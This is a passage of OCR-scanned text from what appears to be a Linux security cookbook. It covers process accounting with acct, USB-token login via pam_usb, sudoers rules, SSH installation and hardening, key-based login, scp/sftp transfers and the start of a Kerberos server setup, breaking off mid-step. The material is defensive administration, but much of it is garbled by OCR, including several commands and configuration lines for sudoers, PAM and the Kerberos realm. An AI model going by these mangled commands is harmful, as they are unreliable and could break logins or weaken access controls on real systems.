Lnstall tnzse peckages witoat veriticat—on |[ysN] I

In case the above method doesn't work properly, we can download
the package manually by visiting the link
http: //packages.ubuntu.com/precise/admin/acct.

1. After downloading the package, we need to extract it into a
directory somewhere, such as on the desktop.

=Mesktopé 1=
geel_6.5.5.ordg. Lar. gz
i~f/Desktop# clear

i=/Tesktopfi tar -zZxvT atc

L.ns
istd _h.r4
6.5 5/nd Y mdir.omd

2. Then, move it into the directory.


http://packages.ubuntu.com/precise/admin/acct

install-sh

3. Next, run the script to onfigure the package.

o figu-a

foc 2ortions cf "Makefles... nc

Loenmp ler o

5. Then, the command make install:



:~fMesktopsa A.5.58 make {1astall
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1. I

1

I

1

6. Once successfully done, it will install the package on your Linux
system.



How to do it?

The acct package has different commands for monitoring process
activities:

1. Based on a particular user's logins and logouts from a wtmp file,
if we wish to check the total connected time, we can use the
command ac:

2. If we wish to print the total login time for a day, we will use the

option -a with the ac command:
=it ac
total
total
tTontal
total
total
total
total
ToTal
total
total
total

3. To print the total login time for a user, we use the following
command:




4. If we wish to check the login time only for a particular user, we

use the following command:
=# ac userl
total =.00
~# ac user?
total .00

~f ac root
total 370 .79
L~

5. We can also see the previously executed commands for all
users or a particular user by using the command 1astcomm.

B Loz Leomm




How it works...

To keep monitoring the system, we first install the acct package on
the system. For a few other Linux distributions, the package to be
used would be psacct if acct is not compatible.

Once the tool is installed and running, it starts maintaining a log of
activities on the system. We can then watch these logs using the
commands discussed in the above section.



Login authentication using a USB
device and PAM

When a Linux user wants to secure the system, the most common
method to do so is always by using the login password. However, we
know this method is not very reliable as there are many methods
available to hack the traditional password. To increase security, we
can use a USB device, as an authentication token, which will be
used to log in into the system.



Getting ready

To follow the given steps, we need to have a USB storage device
and Pluggable Authentication Modules (PAM) downloaded on the
Linux system. Most Linux systems have it in the form of pre-

compiled packages which can be accessed from the relevant
repository.



How to do it...

By using any type of USB storage device and PAM, we can create
an authentication token.

1. To start with, we first need to install the packages required for
PAM USB authentication. To do so, we run this command:

$ sudo apt-get install pamusb-tools libpam-usb

Tajindergta

| munchen |

Reading p

puilding

Roading -

The fal ctra es will he installed:
pamusk -

follawing NEW packages will be installed:
Libpar-ush panush on pamush- tools prount

@ upgraded, 4 ne stalled, & to remove and 327 nob upgraded.
i o S

pamusk-co s
Inslall these packeges withoul werilficat [yfN]? ¥
Cet:1 http:/tin.archive.ubuntu.comfubuniu,) precise/universe pamush-common 13846 6.
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2. Once the packages are installed, we have to configure the USB
device to use with PAM authentication. To do so, we can either
use a command, or else we can edit the /etc/pamusb. cont file.

3. For using the command method, first connect the USB device,
and after that execute the given command:

$ sudo pamusb-conf --add-device usb-device

The output of the command can be seen here:



tajindergtj dev:-% sudo pamusb-conf - -add- device usb-device
Plezase selecl Lhe device vou wish Lo add.
= Using "SanDisk Cruzer Blade (4C536001271807188431)" (only option)

Which volume would you like to use for storing data ?
= Using "fdev/sdbl (wulD: 9EF9-115%)" (enly option)
Hame : ush-device

vendor : sanDisk

Model : Cruzer Blade

serial ! qLL3E88012 /1007188451
yuIn 1 90F9-1155

save to fetc/pamucb.conf 7
[¥in] ¥

Dong.

Lajinderglj-dev:~5% I

In the preceding command, usb-device is the name given to the
USB device we are using. This name can be anything of your
choice.

When the pamusb-conf command is used, it automatically
discovers the USB device, which also includes multiple
partitions. When the command completes its execution, it adds
an XML code block into the /etc/pamusb. conft file, defining our
USB device.

<l-- Devige seitings -->
<ievicos>
=l -- Cxample:
Note: Yau sho
<device 1d
eEMd0
cmodel>Cruser Ti
<sarlal=SHDEXK

M=/ sarials=
Llure uuids




4. Next, we define our USB device:

$ sudo pamusb-conf --add-user userl

The execution is shown in the following screenshot
tajinder@tj-dev:~5 sudo pamusb-conf --add-user useri
Which devies would you like to use for authentication ?
* Using "usb-device" (only option)

User : userl
Device : usb-device

Save to /etc/pamusb.conf ?
[Y/n] y

Done.

tajinder@t j-dev:~s |}

If the user already exists, it will be added to the PAM
configuration.

The preceding command adds the definition of the pam uso user

into the /etc/pamusb. conf file.
<user id="tajinder"=
<device>usb-device</device>
<fuser=<user id="userl"=

<device>usb-device</device>
<fuser=</users=>

5. Now, we will configure PAM to add the pam usb module in the
system authentication process. For this, we will edit the
/etc/pam.d/common-auth file and add the line:

auth sufficient _ pam_usb.so



This will make the system-wide PAM library aware of the
pam_usb module.

The required option specifies that the correct password is
necessary, while the surficient option means that this can also
authenticate the user. In the above configuration, we have used
sufficient for the usb-device authentication, while using required
for the default password.

In case the USB device defined for user1 is not present in the
system, the user will need to enter a correct password. To force
the user to have both authentication routines in place before
granting them access to the system, change sufficient to
required.

. Now we will try to switch to user1.

tajinder@tj-dev:~% su userl

Password:

* pam_usb v8.5.0
Authentication request for user "user1l" (su)
Device "usb-device" is connected (good).

Performing one time pad verification...
Regenerating new pads...
Access granted.

useri@tj-dev: /home/tajinders

When asked to, connect the relevant usb-device. If the correct
USB token device is connected, the login will complete as
shown; otherwise it will give an error.

. If an error appears, as shown below, it could be possible that the
path of the USB device was not added properly.

Error: device /dev/sdbl is not removable
* Mount failed



1.

In such a situation, add the USB device's full path into
/etc/pmount.allow.
Now run the command to check how the USB device partition

has been listed in the filesystem:

$ sudo fdisk -1

Disk fdev/sdb; 881 MB, 8084301896 byles

35 heads, 21 sectars/track, : cylinders, total 155337188 sectors
Unlits = sectors of 1 * 512 cs

sector sirze (lagical/physic hytes f 517 hytes

[f0 size (minimumfoptim 517 hytes § 517 hytes
misk identifier: AxAAAEAAAR

Device Doot Start End Glocks Id System
fdev/sdbi _ 32 13633407 FB1GGEB b WSS FAT3Z

In our case, the partition has been listed as: /dev/sdb1
Now add a line into the /etc/pmount.allow file to solve the error.

. The configuration that we have done in /etc/pam.d/common-auth

until now means that if the USB device is not connected, the
user will still be able to log in with the correct password. If we
wish to force the user to also use the USB device for login, then

change sufficient tO required, as shown:
zuth [success—1 default-lonore] pan urix.so nullok secure

auth required pan_uzb,zﬂl

If the user now tries to log in, they will have to enter the correct
password, as well as insert the USB device.



12.

tajinder@tj-dev:~S su userl

Password:

* pam_usb v0.5.0
Authentication request for user "useril" (su)
Device "usb-device" is connected (good).

¥
 J
* Performing one time pad verification...
* Access granted.

user1@tj-dev: /homeftajinders exit

exit

tajinder@tj-dev:-5 I

Now remove the USB device and try to log in again with the

correct password:

tajinder@tj-dev:-~-5$ su useril

Password:

* pam_usb v8.5.0

* Authentication request for user "useri1" (su)
Device "usb-device" is not connected.

Access denied.

su: Authentication failure
tajinder@tj-dev:-5 I



How it works...

Once we have installed the required PAM-USB package, we edit the
configuration file to add the USB device we want to use as an
authentication token. After that, we add the user account to be used,
and then we complete the changes in the /etc/pam.d/common-auth
file to specify how the USB authentication should work, whether it is
always required or not, when logging in.



There's more...

Until now, we have seen how to use a USB device to authenticate a
user login. Apart from this, we can also use the USB device to trigger
an event each time it is disconnected or connected to the system.

Let's modify the XML code in /etc/pamusb.conf t0o add an event code
for the user definition:

-
<user id="usecri”=
<devicezush-device

< /device:

<agent event="lock"=gnome scroensaver command - l<jagent>

<agent event-"unlock">gnome-screensaver-command -d=/agent>

Due to the above modification, whenever the user disconnects the
USB device, the screen will be locked. Similarly, when the user
connects the USB device again, the screen will be unlocked.



Defining user authorization controls

Defining user authorization on a computer mainly deals with deciding
the activities that a user may or may not be allowed to do. This could
include activities such as executing a program or reading a file.

Since the root account has all privileges, authorization controls
mainly deal with allowing or disallowing root access to user
accounts.



Getting started...

To see how user authorization works, we need a user account to try
the commands on. Hence, we create a couple of user accounts,
userl and user2, to try the commands.



How to do it...

In this section, we will go through various controls which can be
applied on user accounts.

1. Suppose we have two user accounts, userl and user2. We log
in from user2 and then try to run a command, ps, as user1. In a
normal scenario, we get the result as shown:

ivaed

ha vsda. lectare ftroem the Loca
oWt to tnese Thres —h

a 'Jbinsos! or <a.i.

2. Now edit the file /etc/sudoers and add the line as given below:
User2 ALL = (userl) /bin/ps

3. After saving the changes in /etc/sudoers, again try to run the

command ps from user2 as userl.
= s user?

for user2:
TIME CMD

00:00:00 ps

4. Now, if we want to again run the same command from user2 as
userl, but without being asked for the password, we can do the



same by editing the file /etc/sudoers, as shown:
ALL—({ALL ALY ALL

2 ALL = (userl) NCPASSWD: /bin/psi

5. Now when we run the ps command from user2 as user1, we see

that it does not ask for a password any more:
:~# su userZ

31782 pts/0 00:00:00 ﬁs

N |

6. Now that we have seen how to run a command without being
asked for the password, the major concern of the system
administrator will be that sudo should always prompt for a
password.

7. To make sudo always prompt for a password for user account
userl on the system, edit the file /etc/sudoers and add the
following line;

Defaults: userl timestamp timeout = 0
siuser] Timﬂﬁfgmp_jimeiuf -n

ification

#
#
¥
¥

ALL=1AL_:ALL) ALL
ALL=IAL_:ALL) ALL

8. Now if user1 tries to run any command, it will always be
prompted for the password:



~# su usarl

password fcr userl:

9. Now, let's suppose we want to give the user1 account the
privilege to change the password of user2 and user3. Edit the
/etc/sudoers file and add the line as shown:

usarl ALL = fusr/bin/passwd user2, fusr/bin/passwd user3j]

10. Now log in from user1 and let's try to change the passwords of
the user2 and user3 accounts:

ire inTomalicr (or usarz.

{ passworc LnTormatlicr for usori.




How it works...

Using the sudo command and the /etc/sudoers file, we make the
necessary changes to execute the tasks as required.

We edit the file to allow the permission to execute a program as
another user. We also add the option nopasswp to execute the
program without being asked for password. We then add the
required line so that sudo always prompts for password.

Next, we see how to authorize a user account to change passwords
for other user accounts.



Chapter 5. Remote Authentication

In this chapter, we will discuss the following topics:

Remote server/host access using SSH

Disabling or enabling SSH root login

Restricting remote access with key-based login into SSH
Copying files remotely

Setting up a Kerberos server with Ubuntu



Remote server/host access using SSH

SSH, or Secure Shell, is a protocol which is used to log on to
remote systems securely and is the most commonly used method for

accessing remote Linux systems.



Getting ready

To see how to use SSH, we need two Ubuntu systems. One will be
used as a server and the other as a client.



How to do it...

To use SSH, we can use freely available software called OpenSSH.
Once the software is installed, it can be used by the command ssh
on the Linux system. We will see how to use this tool in detail:

1. If the software to use SSH is not already installed, we have to
install it on both the server and the client system.
o The command to install the tool on the server system is:

sudo apt-get install openssh-server

o The output obtained will be as follows:

Lajinder@lj-dev: -5 sudo apl-gel install openssh-serwer
Heading pac 5. Dong
gullding dependency tree
:—:Pa:ling.- state informatian. .. Done
lowlng extra packages will be installed:
rport-id
ed packages:
e rolly-guard openssh-blackli=i openszh-blacklisl-exslra monkeysphere
kages will be installed:
mppar L id
: ¥ Lnstalled, @ te remove and 325 not upgradsd.
el b al archives.
this eperation, 895 kB of additional disk space will be used.
3 want Lo continoe [Yin]? y
http://in.archive.ubuntu.comfubuntu/ precise-updates/main cpenssh-szrver 1
:5.9p1 Subunbul.7 [242 kB]
http://in.archive.ubuntu.comfubuntuy precisef/main ssh-import-id all 2.19-¢
I 2 B]
Fetched 3368 kH in 185 (#7.6 k=)

2. Next, we need to install the client version of the software:
sudo apt-get install openssh-client

o The output obtained will be as follows:



tu]lnd*'m—] dev:i~3% hudl apz- ; t install openssh-client

«  Done

usgesteﬂ £

1ibpam-ssh k n monkeysphere apenssh-blacklist openssh-blacklist-extra
The Following |.u kages will be wporaded:

openssh-client
1 upgraded, 8 newly installed, & o remove and 3756 not upgraded.
H&&d to get 361 KE o
Afzer thils npﬂr:firn 8 of additlonal disk space wlll be used.

comfubuntuy precise updabesfrain openssh-clicnl i3

. For the latest versions, the SSH service starts running as soon
as the software is installed. If it is not running by default, we can
start the service by using this command:

sudo service ssh start

o The output obtained will be as follows:
tajinder@tj-dev:-~-$ sudo service ssh start
sudo: unable to resolve host tj-dev-server
ssh start/running, process 6441

tajinder@tj-dev:~5%

. Now if we want to log in from the client system to the server
system, the command will be as follows:

ssh remote ip address

Here, remote ip address refers to the IP address of the server
system. The command also assumes that the username on the
client machine is the same as that on the server machine:



inder AL -dew:--5 ==sh 192 .01 ‘.1 1HF

can't be establizhed.
tczdfzeb:Fh:4f:8h.

=;PWMHmm1,um d ¥ 1.168" E:Jmﬂ <o the 1ist oF known hests
Jerf1e?.163.1.1 : d
yme to Ubuntu 1:2.084.4 L‘1 :uHJ;L1nI< 3.11.8-15-cenerlc 1686)

# bocumentabion: https:{ fhelp.ubunlu. comf

338 packages can he updated.
222 updates are securlty updates.

clease "14.04.3 I TS available.
'do-releaze-upgrade' to upgrade to it.

Last Logim: Tuez Deoc 29 @8:31:19 20815 from Lj-dev.local
tajinderfitj-dev-server:~5 ||

If we want to log in with a different user, the command will be as
follows:

ssh username@remote_ ip address

o The output obtained will be as follows:
tajinder@ti-dev:-% s5h userl@l?:.168.1.108
userl@le:.168.1.108"'s password:

Welcoms to Ubuntu 12.84.4 LTS (GNU/Linux 3.11.8-15-generic 1586)

* pDocumentation: https://help.ubuntu.com/

packages can be updated.
3 updales are securily updales.

release '14.84,.3 LTS' available.

'do-release-upgrade' to upgrade to it.

Last logiln: Tue LDec aE:3 6 2015 from ti-dev.local
userl@tj dev server:--

. Next, we need to configure SSH so we can use it as per our
requirements. The main configuration file for ssha in Ubuntu is
located at /etc/ssh/sshd config. Before making any changes to



the original version of this file, create a backup using this
command:

sudo cp /etc/ssh/sshd_config{ ,. bak}

o The configuration file defines the default settings for SSH
on the server system.

6. When we open the file in any editor, we can see that the default
port declaration on which the SSHD server listens for the
incoming connections is 22. We can change this to any non-
standard port to secure the server from random port scans,
hence making it more secure. Suppose we change the port to
888, then the next time the client wants to connect to the SSH
server, the command will be as follows:

ssh -p port_number remote ip address

o The output obtained will be as follows:
tejindergtj-dev:-% Seh userliglyz.168.1.188
ssh: rannect to hast 192.16E.1.108 part ??: Connectian refused
tajlndergci-dev:~
tajindergt] dewv:--

ji :~% ssh -p 8B3 user1@l92.168.1.1A8

1E192.168.1.1688 5 password:

Welcorme to Ubuntw 12.84.4 LTS (GHU/linux 3.11.68-15-generic i686)

* Documentetion: https:f/help.ubuntu.com/

338 packages can be updated.
?79 updates are security uwpdates.

HNew release '14.04.3 LT5" available.
Run 'do-release-upgrade’ to uporade Lo il.

last login: Thu Dec 31 6B3:4B:57 2815 from tj-dev.lacal
userigti-dev-server:-s i

As we can see, when we run the command without specifying the
port number, the connection is refused. Next, when we mention the
correct port number, the connection is established.



How it works...

SSH is used to connect a client program to an SSH server. On one
system, we install the openssh-server package to make it the SSH
server, and on the other system we install the openssh-client
package to use it as a client.

Now, keeping the SSH service running on the server system, we try
to connect to it through the client.

We use the configuration file of SSH to change the settings, like the
default port for connecting.



Disabling or enabling SSH root login

The Linux systems have a root account by default, which is enabled
by default. If unauthorized users get SSH root access to the system,
it is not a good idea because this will give an attacker complete
access to the system.

We can disable or enable the root login for SSH as per our

requirements to prevent the chances of an attacker getting access to
the system.



Getting ready

We need two Linux systems to be used as a server and client. On
the server system, install the package openssh-server, as shown in
the preceding recipe.



How to doit...
First, we will see how to disable SSH root login, and then we will also
see how to enable it again:

1. Firstly, open the main configuration file of SSH,
/etc/ssh/sshd_config, in any editor.

sudo nano /etc/ssh/sshd config

2. Now look for the line that reads as follows:
PermitRootLogin yes

3. Change the value from yes to no. Then, save and close the file:
PermitRootLogin no

o The output obtained will be as follows:

# Authentication:
LoginGraceTime 120

PermitRootLogin no
StrictModes yes

4. Once done, restart the SSH daemon service using the

command shown here:

tajinder@tj-dev:~$ sudo service ssh restart
sudo: unable to resolve host tj-dev-server
ssh stop/waiting

ssh start/running, process 4416
tajinder@tj-dev:-5%

5. Now, let's try to log in as root. We should get an error,
Permission Denied, as the root login has been disabled:



tajinder@tj-dev:~5 ssh root@l92.168.1.103
root@l92.168.1.103's password:
Permission denied, please try again.

root@192.168.1.103's password:

. Now whenever we want to log in as root, first we will have to log
in as a normal user. After that, we can use the su command and
switch to the root user. So, the user accounts which are not

listed in the /etc/sudoers file will not be able to switch to the root

user and the system will be more secure:
tajinder@tj-dev:~5 ssh tajindergl2z.168.1.163
Lajinder@ioe?.16E.1.103"'s password:

Welcome Lo Ubuntu 12.84.9 LTS (GHNU/Linux 3.11.8-15-generic 16367

* Documentation: htTips://help.ubuntu.camy
Mew release '14.84.3 LTS' available.

Run 'do-release-upgrade’ Lo upgrade Lo LL.

The programns included with the Ubuntu system are free software;
Lhe exacl disblribulion Lerms For esch program dare described in Lhe
individual filec in fusr/sharefdoc/#/copyright.

Ubuntu comes with ABSOLUTLLY MNO WARHAMTY, to the extent permitted by
applicable Law.

tajinder@t]j-dev-sarver:-% whoarl
tajinder
tajinderf@tj-dev-server:~5% su raot

5
Password:

roolgl j-dev-server: fhome/La jinderd whoami
rool

. Now, if we want to again enable SSH root login, we just need to
edit the/etc/ssh/sshd_config file again and change the option
from no to yes again:

PermitRootLogin yes

o The output obtained will be as follows:



# Authentication:
LoginGraceTime 120
PermitRootLogin ye&l
StrictModes yes

8. Then, restart the service again by using the following command:
tajinder@tj-dev:~$ sudo service ssh restart
sudo: unable to resolve host tj-dev-server
ssh stop/waiting

ssh start/running, process 4416
tajinder@tj-dev:-5

9. Now if we try to log in as root again, it will work:
tajlndergt])-dev:~5% ssh root@l9ez.158.1.1683
root@19?.168.1.183"s password:
Welcome to Ubuntu 12.04.4 LTS (GHU/Linux 3.11.8-15-generic i686)

T pPocumentatien: https://help.ubuntu.com/

New release "14.04.3 LTS' available.
Fun 'do release upgrade' te upgrade teo it.

Last login: Mon Dec 28 16:25:34 2815 from t]-dev.local
roolfl j-dev-server i~# I




How it works...

When we try to connect to a remote system using SSH, the remote
system checks its configuration file at /etc/ssh/sshd config and
according to the details mentioned in this file, it decides whether the
connection should be allowed or refused.

When we change the value of permitrootLogin accordingly, the
working also changes.



There's more...

Suppose we have many user accounts on the system and we need
to edit the /etc/ssh/sshd config file in such a way that remote
access is allowed only for a few mentioned users.

sudo nano /etc/ssh/sshd config

Add the following line:

AllowUsers tajinder userl

Now restart the ssh service:

sudo service ssh restart

Now, when we try to log in with user1, the login is successful.
However, when we try to log in with user2, which has not been added
to /etc/ssh/sshd config file, the login fails and we get the error
Permission denied, S shown here:

tajinder@ti-devi-5 =sh useri1@ls2.168.1.1€3
useri@les.165.1.16 :

21
-r "
Helecome ta Ubumtu 12 S (GNU/linux 3.11.8-15-generic i6846)

* Documentation: https:///help.ubuntu.com/

Mew release '14.64.3 LT5' available.
FRun 'do-releass-upgrade' to upgrade to it.

Last login: Tue Dec 29 @9:31:18 281t from tj-dev.local
userl@tj-dev-server:~5 exit

logout

Connection Lo 192.168.1.103 closed.

tajinderpt]-dev:-

tajinder@tj dew:-

3
% =sh usecrz@192.16E.1.163
user?{192?.168.1.103"s password:

Permiss=ion denied, please Lry again.
User2@lez.168.1.103"'s password: I




Restricting remote access with key-
based login into SSH

Even though SSH login is protected by using passwords for the user
account, we can make it more secure by using key-based
authentication into SSH.



Getting ready

To see how key-based authentication works, we will need two Linux
systems (in our example, both our Ubuntu systems). One should
have the OpenSSH server package installed on it.



How to do it...

To use key-based authentication, we need to create a pair of keys—
a private key and a public key.

1. On the client or local system, we will execute the following
command to generate the SSH key-pair.

ssh-keygen-t rsa

o The output obtained will be as follows:
uscri@tj dev client:-% ssh kcygen -t rsa
Generating public/private rsz key pair.
knter file in which to save the key (/fhomefuserlf.ssh/id_rsa):
iCrealed direclory ' Jhomefuseri/.ssh'.
Enter passphrase (empty for no passphrase):
EnlLer same passphrasze again:
Your identification has heen saved in fhomefuseri/.sshyid_rs=a.
vour public key has been saved in fhomefuseri/.ssh/id rsa.pub.
The key Tingerprint is:
112:57T:daidcice:aZ2i06:90:39:78:30:91:6C: 86 useri@t]-dev-cliaent
cey 's randomart image is:
+--[ R5A 2018]
0.

E+.

2. While creating the key, we can accept the default values or
change them as per our wishes. It will also ask for a
passphrase, which you can set as anything or else leave it
blank.

3. The key-pair will be created in the location—- . /ssh/. Change to
this directory and then use the command—1s -1 to see the
details of the key files:



user1@Lj-dev-client:~$ cd ~/.sshf
user 1gLj-dev-clienl:~/.s5h% 1s -1
loLal 8

1 userl userl 1766 Jan 3 02:58 id_rsa

-fW-r--r-- 1 useri user1l 401 Jan 3 ©2:58 1d_rsa.pub
useri@tj-dev-client:~/.sshs |j

o We can see that the id rsa file can be read and written only
by the owner. This permission ensures that the file is kept
secure.

4. Now we need to copy the public key file to the remote SSH
server. To do so we run the following command:

ssh-copy-id 192.168.1.101

o The output obtained will be as follows:
user 1L -dev -client:-f . ssh8 s=h copy-id 192.148.1.181
The suthenticity of host '1o: (14 H.1.101)" can't be established.
FENSA key Fingerprink is 31:9d:bd:6ecabzed AT 14: P8 Acdlf:eh: Thoii:8b.
lare you sure yeu want toe centlnue connecting (yes/re) :
Fﬂrulnu: Permanent ly added "197.16B.1.181° (FCDSAY Lo the List of knoen hosis.
us=2riglo2.1668.1.101's password:
Mow T agning inta the machine, with "ssh "192.168.1.181'"

[ , and check in:
~f.ss5hfauthorized_keys

to make sure we haven't added extra keys that you weren't expecting.

userlftj-dev-client:~/.53h% I

5. An SSH session will be started and will prompt you to enter the
password for the user account. Once the correct password has
been entered, the key will get copied to the remote server.

6. Once the public key has been successfully copied to the remote
server, try to log in to the server again using the ssh
192.168.1.101 command:



useri@itj-dev-client:~/.ssh$ ssh 192.463.1.4181
Enter passphrzse for key 'fhomefuseril/.scshfid rsa':
* pDocumentation: https:/fhelp.ubuntu.com/

330 packages can be updaled.
updates are security updates.

Mew release "14.84.3 LTS  avallsble.
lKun 'do-release-upgrade' to upgrade to it.

Lest logln: Thu Dec 31 ©2:43:192 2015 from t]-dev.local
useri@tj dev server:-S |j

We can see that now we are not prompted for the user account's
password. Since we had configured the passphrase for the SSH key,
it has been asked. Otherwise, we would have been logged into the
system without being asked for the passphrase.



How it works...

When we create the SSH key-pair and move the public key to the
remote system, it works as an authentication method for connecting
to the remote system. If the public key present in the remote system
matches the public key generated by the local system, and if the
local system has the private key to complete the key-pair, login
happens. Otherwise, if any key file is missing, login is not allowed.



Copying files remotely

Managing a system remotely is great using SSH. However, many
would not know that SSH can also help in uploading and
downloading files remotely.



Getting ready

To try the file transfer tools, we only need two Linux systems which
can ping each other. On one system, the OpenSSH package should
be installed and the SSH server should be running.



How to do it...

Linux has a collection of tools which can help to transfer data
between networked computers. We will see how a few of them work

in this section:

1. Suppose we have a file, myfile.txt, on the local system, which
we want to copy to the remote system. The command to do so
is given here:

scp myfile. txt tajinder@sshserver. com: ~Desktop/

o The output is shown in the following screenshot:

5 =2cp myTlle.txt Tajlndergsshserver.con:Desktap/
SCrver.con's password:

10E% 22 8.8KBfs 2k B A 1]

o Here, the remote location where the file will be copied to is
the pesktop directory of the user account being used to
connect.

2. When we check on the remote SSH system, we can see that the
file myfile.txt has been copied successfully:

tajinder@sshserver:~/Desktops 1s
newfile.txt
tajinder@sshserver:~/Desktops pwd
/home/tajinder /Desktop

tajinder@sshserver:~/Desktops 1s

myfile.txt newfile.txt
tajinder@sshserver:~/Desktop$ cat myfile.txt
This is a test file.

3. Now, let's suppose we have a mydata directory in the local
system, which we want to copy to the remote system. This can
be done by using the -r option in the command, as shown here:



scp -r mydata/ tajinder@sshserver. com ~Desktop/

o The output is shown in the following screenshot:

tajindergesheclient: -5 1s
o Music ayflle. txt Pu

ates
.com:besktop/

mp desktop mydata Plcture T .}
wclient:~5% scp -r mydata,/ tajindergsshzerver
ISErVEr.com's passward:
180% 19 B.0KB/5 Qo :0a
100% 21 .0 5 ©6:9@
10a% 25 [+ B 1
Lajimder@eshelientz-5 I

. Again, we check on the remote server and see that the mydata

directory has been copied with all its files:
tajinder@sshserver:~/Desktop$ 1s

mydata myfile.txt newfile.txt
tajinder@sshserver:~/Desktop$ cd mydata/
tajinder@sshserver:-/Desktop/mydatas 1s

filel file2 file3
tajinder@sshserver:~/Desktop/mydata$s I

. Now we will see how to copy a file from the remote system back
to the local system.
o First, create a file on the remote server. Our file is
newfile.txt.

tajinder@sshserver:~/Desktop$ 1s
mydata myfile.txt newfile.txt

tajinder@sshserver:~/Desktops I

. Now, on the local system, move to the directory where you wish
to copy the file. Then, run the command as shown to copy the
file from the remote system to the local system in the current
directory:



7.

8.

scp -r
tajinder@sshserver. com /home/tajinder/Desktop/newfile. txt

o The output is shown in the following screenshot

Husle myfile.txt Public
CHr desklop mydata Templates
tajindergssheclient:-% scp -r tajindergsshserver.com: fhome/tajinder/Desktop/ newti
le.txt .
Lajinder@s=hx .com's password:
newtile 1004 25 0.8KE s 0. 60

1
ayfile.txt Pictures T

D newflle.txt Fublic vid

L i

tajinderg

We can also use sftp to interactively copy the files from the
remote system, using FTP commands.
To do this, we first start the connection, using this command:

sftp tajinder@sshserver. com

o Have a look at the execution of the command:

tajinder@sshclient:~% sftp tajinder@@sshserver.com
tajinder@sshserver.com's password:

Connected to sshserver.con.
sfLp> 1s

. Next, we can run any FTP command. In our example, we try to

get the file from the remote system using the get command, as
shown:

get sample. txt /home/tajinder/Desktop
sFip> cd Deskiop)

myflle.txt nesflle.txt sample.txt

vample. Lal Jhomefiajinder




10. In the local system, we can now check if the file has been

copied successfully or not.
tajinder@sshclient:~% cd Desktop/
tajinder@sshclient:~/Desktops 1s
sample.txt
tajinder@sshclient:~/Desktops

11. SSH also works through GNOME. So, instead of using the
command line, we can use the GNOME File Explorer to start a
SSH connection with the remote system.

12. In the GNOME File Explorer, go to File -> Connect to Server....

File Edit View Go Bookmarks Help
New Tab
New Window
Create New Folder
Create New Document

Conneck to Server...

Properties

Restore Missing Files...

Close All Windows
Close

13. In the next window, enter the details as required and click on
Connect.



Server Details
Server: sshserver.com Port: | 22 :E
Type: | SSH v
Folder: /
User Details
User name: tajinder
Password: sesune
| Remember this password
| Help | | Cancel | | Connect

14. Now we can copy the files graphically from the remote system to
the local system, or vice-versa.

F8 SFTF for tajinder or sshserver.com

S Q search

il

mydata myfile.txt newfile.xt

sample kst




How it works...

To copy files remotely over SSH, we use the tool scp. This helps with
copying a single file or a complete directory from the client system to
a defined location on the server system. For copying directory with
all its content we use the -r option with the command.

We use the same tool to copy files from the remote SSH server to
the client machine. However to do this we need to know the exact
location of the file on the server.

Like scp, we have sttp tool, which is used to copy files over ttp from
server to client. SFTP (Secure File Transfer Protocol) is better than
FTP and ensures that data is transferred securely.

Lastly we use the GNOME File Explorer to graphically connect and
transfer files from server to client and vice versa.



Setting up a Kerberos server with
Ubuntu

Kerberos is an authentication protocol for allowing secure
authentication over untrusted networks by using secret-key
cryptography and trusted third parties.



Getting ready

To get Kerberos set up and running, we need three Linux systems (in
our example, we have used Ubuntu). They should be able to
communicate with each other and they should also have accurate
system clocks.

We have given the hostname to each system as mentioned here:

o Kerberos system: mykerberos.com
e SSH Server system: sshserver.com
e Client system: sshclient.com

After doing this, edit the /etc/nosts file in each system and add the
following details:

192.168.1.166 sshclient.com

192.168.1.101 sshserver.com
192.168.1.110 mykerberos.com

The IP address and the hostname can be different for your systems.
Just make sure that after doing these changes they can still ping with
each other.



How to do it...
Now, let's see how to complete the setup of the Kerberos server and
the other systems for our example.

1. The first step is to install the Kerberos server. To do this, we will
run the given command on the nykerberos.com System:

sudo apt-get install krb5-admin-server krb5-kdc

o The output is shown in the following screenshot

e rlir apt-oet install krhs-admin-server krbs-kde

L-kde-1dap krbb-dac
ln#lnu HLH pa L1 b 1led:
min-server krb5-config krbbs-kde krbi-user Libgssrpod
yelnt-mite libkadmSsrv-mitB Libkdb5-& libverto-libeventl libwertol
ng packeges will be upgraded:
i 5-2 Libkrbs-3 LibkrbSsupportd
eWly Lnr-al1r$ & To remove and 3Z3 not uporaded.
: » get 1,126 k8 of archives.
After this operation, Z kB of additional disk space will be used.
Do you want to continue [Y/n]? I

2. During the installation process, a few details will be asked for.
Enter the details as mentioned here:
o For the question pefault Kerberos version 5 realm, the
answer in our case iS MYKERBEROS . COM.



Pack {10 L ol T r i_:__;u.| alion

1 Conflguring Kerberos authenticaticn |
When uzers altempl Lo use Kerberos and specily a principal or user name
without specifying what adminlstrative Kerberas realm that principal
belongs to, the sysiem appends Lhe defoull realm. The delauli reals may
also be used as the realm of & Kerberos service running on the local
rachine. 9ften, Lhe defaull realm is the uvppercase version of bthe Local
pH3E domain.

Default Eerberos version & real=:

3. For the next question, Kerberos servers for your realm: the
answer is mykerberos.com

| Configuring Eerberos authentication |
Enicr the hostnames of Kerberos servers in bhe MYEERBEROS . COM Kerberos

realm separated bv spaces.

Kerberas sarvers Tor your realm:

mykorberas . com

4. In the next screen, the question is Administrative server for
your realm:, and its answer is mykerberos.com



Configuring Kerheros Authenticatian |

Cater the hostname of the adminlstrative (passwerd changing) server faor
Lhe MYEFRRFRGOS.COM Eerberos realm.

Adminizirative server For vour Kerberos realms:

wkorboros.co

5. Once we have answered all the questions, the installation
process will be resolved. The next step is to create a new realm.
To do so, we use this command:

sudo krb5 realm

o The output is as shown in the following screenshot
Tajiniyrﬂm,lyrhura -5 cudo krbS_newrealm
"Lrnr pu. zsword Tor t-)11.n!"' o
] & Tun BrVEr

'-r::-u sh o
1 more impar Lant bhal ] p
. However, 1f yau loze tThe 80 |1 dl'l-lj- e-:,lrh kdefstash,
CrYpPL wour Kerbers

' for realm "MYKCRDCROS.COM',

master key nare Y i

You will be L|1mpllr or  Lhe ase Mastor Password.
It is irportant that vyo 4] ORGCT this password.
Fnter KNC database m

Re enter KDC database master key to wverlfy:

6. During this process, we will be asked to create a password for
the Kerberos database. We can choose any password.

7. Next, we need to edit the /etc/krb5.confand file and modify the
details as shown in the following screenshot. If any line does not
already exist in the file, we also need to enter those. Go to the



libdefaults section in the file and modify the value as shown
here:

[ libdefaults]

default_realm = MYKERBERDS.CDMI

8. Move down to the realms section and modify the details as
shown here:

[realms]
MYKERBEROS.COM = {

kdc = mykerberos.com
admin_server = mykerberos.com

9. Next, go to domain realm Section and enter the lines as shown
here:

mykerberos. com = MYKERBEROS. COM
. mykerberos. com = MYKERBEROS. COM

o This is shown in the following screenshot

[domain_realm]
